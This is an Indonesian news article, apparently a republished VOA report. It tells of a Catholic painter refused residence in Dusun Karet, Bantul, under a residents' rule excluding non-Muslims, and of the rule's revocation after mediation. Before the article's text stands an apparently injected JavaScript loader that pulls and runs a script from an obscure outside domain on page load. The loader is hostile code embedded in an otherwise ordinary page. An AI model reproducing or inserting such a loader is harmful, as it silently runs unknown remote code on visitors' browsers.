(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Setelah sempat ditolak perangkat desa untuk menetap karena beda agama, akhirnya Slamet Jumiarto diperbolehkan tinggal; dan bahkan aturan yang memuat eksklusi sosial terhadap warga non-Muslim yang diberlakukan itu dicabut. Bagaimana sesungguhnya kasus ini?
Korespoden VOA Munarsih Sahana mewawancarai langsung Slamet Jumiarto di Yogyakarta dan berikut laporannya.
Slamet Jumiarto (42), seniman lukis yang mengontrak rumah Suroyo untuk jangka satu tahun di dusun Karet, Kecamatan Pleret, Kabupaten Bantul, DIY, awal pekan ini ditolak warga setempat karena ia menganut agama Katholik, sementara warga setempat semua beragama Islam.
Seusai mengikuti kegiatan di Gereja Pringgolayan Kotagede pada Rabu (3/4), Slamet menceritakan kronologi penolakan dirinya itu pada VOA. Ia mengatakan mulai pindahan ke dusun itu ada hari Sabtu (30/3). Sehari kemudian ia mendatangi rumah ketua RT untuk menyerahkan berkas surat yang dipersyaratkan bagi warga pendatang. Ia langsung ditolak karena adanya aturan bahwa warga menolak pendatang non-muslim. Peraturan yang tidak pernah dilaporkan ke pemerintah desa tersebut dibuat warga tahun 2015.
“Tanggal 31 Maret 2019 saya datang ke tempat pak RT 08 mengumpulkan berkas surat Nikah, KTP dan Kartu Keluarga. Begitu melihat kita ini Katholik, non Muslim, kita ditolak dengan alasan karena ada kesepakatan warga di dusun Karet bahwa warga non-Islam ditolak tidak boleh bertempat tinggal semetara maupun permanen. Pagi harinya (tanggal 1 April 2019) saya ketemu Ketua Kampung, sama saja saya ditolak, akhirnya saya putuskan untuk melaporkan hal ini ke sekretaris Sultan Hamengkubuwono X (Gubernur DIY),†ujarnya.
Karena kecewa, Slamet melaporkan kejadian itu kepada sekretaris Sultan Hamengkubuwono X yang meneruskannya kepada Sekda DIY dan selanjutnya disampaikan ke Pemerintah Kabupaten Bantul.
Sepanjang Senin dan Selasa malam dilangsungkan mediasi yang melibatkan unsur aparat dan warga yang akhirnya memutuskan mengubah keputusan warga dan Slamet diterima tinggal di dusun Karet.
“Yang pasti aturan dari desa setempat yang melarang pendatang harus Islam itu dicabut, sementara saya sekeluarga masih berembug dan belum kami putuskan entah akan tetap tinggal di situ atau pindah. Yang pasti dengan kejadian ini saya berharap ini menjadi pembelajaran kita semua, jangan sampai kejadian ini juga ada di desa-desa lain,†paparnya.
Eko Riyadi, Direktur Pusat Studi HAM Universitas Islam Indonesia (UII) Yogyakarta menilai, peraturan lokal warga Dusun Karet tersebut diskriminatif dan melanggar prinsip kebebasan beragama. Sebab, hak beragama merupakan hak fundamental yang diakui oleh Pasal 28 dan 29 UUD 1945, pasal 18 Deklarasi Universal HAM PBB dan Pasal 18 ICCPR. Kebebasan beragama juga diakui dalam UU No.39 tahun 1999 tentang HAM.
“Kewajiban negara-lah untuk mengedukasi warga-negaranya atau aparatur terbawah bahwa hal itu bertentangan dengan konsep Negara Hukum yang diterapkan di Indonesia. Tugas Kabupaten Bantul yang harus segera mengklarifikasi, kemudian meminta agar peraturan itu diubah karena peraturan itu kalau tidak segera diubah, jangan-jangan akan direplikasi oleh dusun-dusun yang lain. Itu bukan hanya melanggar HAM tetapi juga akan memporak-porandakan bangunan negara Republik Indonesia kita,†kata Eko.
Menurut Eko Riyadi, berdasarkan observasi yang dilakukan PUSHAM UII, pasca Era Reformasi di wilayah DIY tumbuh bentuk-bentuk eksklusifisme di masyarakat yang disebut sebagai Conservative Turn, termasuk merebaknya sewa kamar khusus agama tertentu dan komplek-komplek perumahan dengan agama bahkan afiliasi politik yang sama.
“Situasi itu memang dalam beberapa hal alamiah karena negara otoritarianisme itu berakhir, kran kebebasan dibuka kemudian kontestasi publiknya menjadi semakin luas dan aktor yang berkontestasi juga semakin beragam. Tetapi pada situasi itu pemerintah harus segera mendorong adanya kesepakatan bagaimana ruang-ruang publik dikelola secara bersama-sama dengan prinsip kesetaraan dan non-diskriminasi,†tambah Eko.
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.